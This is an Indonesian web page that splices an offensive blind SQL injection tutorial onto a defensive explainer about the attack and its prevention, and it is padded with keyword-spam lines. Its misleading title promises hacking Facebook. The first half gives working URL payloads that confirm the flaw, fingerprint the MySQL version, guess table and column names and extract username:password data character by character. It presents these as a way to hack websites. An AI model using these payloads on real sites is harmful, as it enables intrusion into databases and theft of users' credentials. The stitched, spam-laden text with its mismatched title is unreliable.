Hack Fb Dengan Sql Injection

Halo sobat NHNotes kali ini saya akan posting tentang Cara hack website dengan metode SQL injection. Selain metode ini juga banyak Metode yang biasa digunakan untuk Hacking website Tapii kali ini kita akan menggunakan metode Sql Injection. SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb. Ok langsung saja perhatikan langkah langkah nya berikut ini, 1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah.

Pada tutorial ini kita akan mencoba mengulas teknik serangan hacker dengan Blind SQL Injection. Untuk itu kita akan menggunakan contoh sebuah web (nama disamarkan) yang vulnerable terhadap serangan ini.

http://www.site.com/news.php?id=5

Saat kita mengakses web tersebut, terlihat halaman web menampilkan sebuah artikel atau informasi, lalu kita mencoba testing apakah web tersebut rentan terhadap serangan SQL Injection. Caranya, kita tambahkan perintah SQL pada url tersebut

http://www.site.com/news.php?id=5 and 1=1 <— tampilan terlihat normal

http://www.site.com/news.php?id=5 and 1=2 <— tampilan terlihat error
Pada saat perintah kedua dimasukkan, terlihat tampilan web error, ini menunjukkan bahwa web tersebut rentan terhadap serangan SQL Injection.

1) Mengetahui versi MySQL
Untuk mengetahui versi MySQL yang digunakan kita bisa menggunakan perintah substring.
contoh:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

Hack fb dengan sql injection tool

Jika perintah diatas dimasukkan dan tampilan normal (TRUE) berarti versi MySQL nya adalah 4.
Akan tetapi jika error dan kita ganti angka 4 dengan 5, dan outputnya normal (TRUE) berarti versi MySQL-nya 5.
contoh:

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

Hack fb dengan sql injection server

2) Test query subselect
Ketika query select tidak bekerja dengan baik, kita dapat menggunakan query subselect
contoh:

http://www.site.com/news.php?id=5 and (select 1)=1

Jika tampilan normal berarti query subselect bekerja dengan baik.
Kemudian kita akan mencoba mengakses mysql.user.
contoh:

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

Jika tampilan normal, kita dapat mengakses ke mysql.user.

3). Cek nama tabel and kolom
Pada bagian ini kita melakukan tebakan untuk mengetahui nama tabel dan kolomnya.
contoh:

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1

Jika tampilan normal, berarti tebakan kita untuk tabel users benar.
Jika terdapat error, maka tabel users yang kita tebak salah.
Diasumsikan tebakan kita benar, sekarang kita coba mencari nama kolom dari tabel tersebut.
Kita mencoba dengan menebak nama kolom seperti nama tabel diatas.
contoh:

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

Jika tampilan web normal, berarti kita tahu bahwa nama kolomnya adalah password. Jika error, kita coba dengan nama yang lain.

4). Menampilkan data dari database
Kita sudah menemukan nama tabelnya adalah users dan nama kolomnya username dan password, lalu kita coba menampilkan isi dari tabel tersebut.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

Disini kita akan mencoba mengetahui karakter pertama dari user pada tabel users.
substring ini kembali ke character dan 1 panjang character. ascii() mengconvert character 1 ke nilai ascii dan membandingkan dengan simbol lebih besar (>)
Jika karakter ascii lebih besar dari 80, maka tampilan normal (TRUE)
Kita akan coba lagi sampai kita mendapatkan error.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

Tampilan masih normal, kita naikkan lagi nilai ascii-nya

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

Tampilan masih normal, kita naikkan lagi nilai ascii-nya

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Error (FALSE)
Berarti karakter pertama dari username adalah char 99. Dengan menggunakan konverter ascii kita tahu bahwa char 99 itu adalah huruf c
Kemudian kita cari karakter kedua.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

TRUE, tampilan normal, naikkan nilai ascii-nya.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, turunkan nilainya.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, naikkan nilainya.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

Dengan

FALSE!!!

Kita tahu bahwa karakter kedua adalah 105. Setelah kita konvert char 105 adalah huruf i
Dengan cara seperti diatas akan mengetahui isi dari kolom username dari tabel users.

Selamat mencoba lagi..:-)

Apa itu SQL injection? Dalam beberapa kurun waktu terakhir, kasus serangan yang mengarah pada sekuritas website terus meningkat. Ancaman terbesar yang saat ini menempati posisi pertama dalam peretasan website adalah SQL injection. Serangan ini sudah diungkapkan ke publik sejak dari 20 tahun lalu dan hingga sekarang masih sering terjadi.

Jenis serangan ini tentu dapat menimbulkan banyak kerugian terhadap situs maupun aplikasi. Para hacker bisa merusak database dan mencuri informasi penting seperti password dan username korban, memasukkan konten berbahaya, merubah isi database, dan masih banyak lagi. Nah, apa yang sebenarnya yang dimaksud dengan SQL injection ini? Bagaimana cara kerja dan tindakan pencegahan yang dapat dilakukan pemilik website? Simak ulasan berikut ini.

Apa itu SQL Injection?

SQL injection merupakan salah satu teknik penyalahgunaan celah sekuritas atau keamanan yang ada di SQL pada lapisan database suatu website atau aplikasi. Celah ini muncul ketika user memasukkan informasi yang tidak dapat disaring dengan benar, dan dalam pembuatannya menggunakan form yang salah. Sampai saat ini, para hacker masih memfavoritkan SQL injection untuk melakukan serangan pada website. Alasannya adalah jaringan internet sekarang tidak mudah dihack seperti zaman dulu.

Sebagai contoh, teknik SQL injection yang sering dilakukan lewat form username harusnya diisi dengan karakter saja. Akan tetapi form username tersebut malah dimasukkan dengan karakter lain seperti (:;-=’) oleh para hacker. Ketika kegiatan penyisipan query SQL injection ini berhasil, akibatnya para hacker dapat menembus keamanan website Anda.

Tujuan SQL Injection

Setelah mengetahui apa itu SQL injection, kini saatnya Anda memahami tujuan dari cyber crime tersebut. Setiap hacker yang melakukan kejahatan online ini tentu memiliki tujuannya masing-masing, dan tidak sebatas iseng ataupun mengisi waktu luang. Nah, di bawah merupakan tujuan SQL injection yang sering ditemukan di dunia:

Command Execution

Hack Fb Dengan Sql Injection Online

Command Execution merupakan metode serangan yang dipakai untuk menjelajahi website dengan melakukan perintah operating system dengan memanipulasi input aplikasi. Saat input yang disediakan pengguna tidak dibersihkan oleh aplikasi web dengan benar sebelum menggunakan kode aplikasi, kemungkinan aplikasi web tersebut dapat memanipulasi aplikasi supaya melaksanakan command operating system. Eksekusi command akan terlaksana sesuai izin yang sama dengan komponen yang melakukan command tersebut (seperti server web, server aplikasi web, server database, dan lain sebagainya. Pada beberapa database, para user dapat mengakses sistem operasi memakai server database. Dan jika sudah seperti ini para hacker bisa menyerang semua yang ada dalam website Anda dengan mudah.

Modify Data

Mudah sekali bagi hacker melakukan perubahan terhadap data-data yang tersimpan dalam database. Jadi, selain menghapus data tersebut, para hacker juga bisa membuatnya menjadi tidak valid. Jika sewaktu-waktu data diubah oleh pihak tidak bertanggung jawab, maka Anda perlu menyiapkan backup atau cadangannya terlebih dahulu sebelum kejadian.

Delete Data

Pada kejahatan SQL injection, para hacker mungkin saja dapat menghapus semua data yang ada dalam database website. Dan jika sudah terjadi demikian, akan sangat berbahaya bagi pemilik website yang tidak memiliki cadangannya. Maka dari itu, jangan lupa lakukan backup untuk tujuan keamanan data secara berkala.

Pencurian Informasi

Semua informasi yang ada pada website mungkin bisa diambil oleh hacker yang menemukan celah keamanan. Terutama informasi bersifat pribadi yang tidak boleh diketahui orang lain seperti password dan username.

Bypass Otentikasi

Teknik serangan ini memungkinkan penyerang untuk masuk ke dalam aplikasi dengan hak akses administrator, tanpa menggunakan username dan password yang valid. Untuk bisa mendapatkan akses ke website, para hacker cukup melakukan bypass otentikasi untuk berhasil masuk kedalam sistem. Jadi, tidak perlu lagi menggunakan username dan password yang benar untuk mengaksesnya. Para hacker hanya perlu memasukkan form yang masih terbuka dengan script SQL injection yang sudah disiapkan.

Jenis Serangan SQL Injection

Berikut ini beberapa jenis SQL injection yang perlu diketahui:

  • Tautology based attack, bertujuan menginjeksi kode pada satu atau lebih baris perintah SQL dan mengeksekusinya dengan nilai benar. Penyerang bertujuan mendapatkan akses ekstraksi data dan melakukan bypass terhadap mekanisme otentikasi.
  • Query ilegal, bertujuan melakukan ekstraksi data, melakukan fingerprinting, dan mengidentifikasi parameter yang bisa diinjeksi.
  • Union query , bertujuan mengekstraksi data dan melakukan bypass otentikasi.
  • Piggybacked query, bertujuan mengeksekusi perintah jarak jauh, melakukan serangan DoS, memodifikasi atau menambahkan data, serta melakukan ekstraksi data.

Cara SQL Injection Bekerja

Bentuk serangan ini umumnya melalui dua tahapan, yaitu:

Hack Fb Dengan Sql Injection
  1. Tahap riset, dimana penyerang melakukan pengamatan terlebih dahulu terhadap aplikasi atau website target dengan mengirimkan berbagai macam nilai yang tidak masuk dalam argumen input, kemudian mempelajari respon yang diberikan dan menentukan target tersebut cocok atau tidak untuk disisipkan SQL injection.
  2. Tahap serangan dilakukan ketika riset kerentanan aplikasi atau website selesai dilakukan. Database akan dimanfaatkan untuk mengeksekusi perintah yang dibuat penyerang.

Tips Mengatasi Kejahatan SQL Injection

Di atas telah dijelaskan tentang apa itu SQL injectiondan tujuan melakukan kejahatan internet tersebut. Dan untuk meminimalisir semua efek serangan SQL injection, ada beberapa cara yang bisa anda lakukan. Seperti berikut ini:

Setting Privilege

Masuk ke menu SQL Server Security tab untuk mengubah bagian Start and Run SQL Server menjadi setting low privilege user.

Mematikan Fitur Standar SQL

Fitur Stored Procedures dan Extended Stored Procedures yang ada di SQL sebaiknya dinonaktifkan saja karena rawan diserang SQL injection.

Menggunakan Perangkat Keamanan Firewall

Menggunakan web application firewall dapat membantu Anda mendeteksi dan memblokir serangan SQL injection.

Hack Fb Dengan Sql Injection Free

Melakukan Uji Coba Keamanan Aplikasi

Secata berkala lakukan pengujian terhadap keamanan aplikasi atau website guna mengetahui langkah preventif maupun perbaikan secara dini terhadap keamanan yang memiliki celah untuk ditembus hacker.

Hack Fb Dengan Sql Injection Engine

Mengamankan Database

Database dapat diamankan dengan beberapa cara di bawah:

  • Mengganti password secara berkala terhadap akun yang dipakai saat mengakses basis data.
  • Mengakses database setelah mematikan akses dari publik.
  • Mengamankan data yang tersimpan menggunakan teknik enkripsi, dengan demikian Anda bisa mencegah penyerang mencuri informasi database.

Menonaktifkan Informasi Error

Jangan lupa nonaktifkan mode debug setelah memasuki masa penggunaan. Kebiasaan pengguna yang sering kali dilakukan adalah membiarkan mode tersebut karena ingin mudah menemukan errornya. Jika hal ini terjadi, para penyerang SQL injection dapat melaksanakan aksinya. Hindari hal ini dengan mematikan mode debug pada aplikasi informasi error yang bisa disalahgunakan pihak yang tidak bertanggung jawab.

Hack Fb Dengan Sql Injection 2

Sql

Menggunakan Parameterized SQL Query

Teknik pencegahan ini cukup sederhana dilakukan. Pengguna dapat membedakan mana yang data yang diinput pengguna dengan SQL statement. Dengan cara ini, penyerang SQL injection tidak bisa mengotak-atik isi query meskipun telah melakukan aksinya. Menggunakan Parameterized SQL Query dapat menggantikan parameter data yang dimasukkan pengguna.

Hack Fb Dengan Sql Injection Untuk

Nah, demikian pembahasan tentang apa itu SQL injection, cara kerja dan tips mengatasinya. Semoga bermanfaat dalam membantu Anda meningkatkan keamanan website.